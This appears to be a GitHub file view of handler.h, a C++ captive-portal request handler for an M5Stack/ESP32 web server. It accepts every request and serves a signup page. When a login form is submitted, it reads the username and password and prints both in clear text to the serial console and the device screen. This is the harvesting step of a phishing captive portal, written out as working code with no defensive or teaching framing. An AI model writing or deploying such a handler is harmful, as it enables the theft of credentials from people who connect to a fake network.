-
Notifications
You must be signed in to change notification settings - Fork 0
/
handler.h
48 lines (41 loc) · 1.28 KB
/
handler.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include "html.h"
class CaptiveRequestHandler : public AsyncWebHandler
{
public:
CaptiveRequestHandler() {}
virtual ~CaptiveRequestHandler() {}
bool canHandle(AsyncWebServerRequest *request)
{
return true;
}
void handleRequest(AsyncWebServerRequest *request)
{
// Handle requests to /signup
if (request->url().equalsIgnoreCase("/signup"))
{
Serial.println("Got signup web req");
request->send_P(200, "text/html", signup_html);
return;
}
String inputUsername;
String inputPassword;
if (request->hasParam("username"))
{
inputUsername = request->getParam("username")->value();
inputPassword = request->getParam("password")->value();
Serial.println("Got username: " + inputUsername);
Serial.println("Got password: " + inputPassword);
M5.lcd.println(inputUsername);
M5.lcd.println(inputPassword);
request->send_P(200, "text/html", success_html);
}
else
{
// M5.lcd.println("Got index web req");
Serial.println("Got index web req");
{
request->send_P(200, "text/html", index_html);
}
}
}
};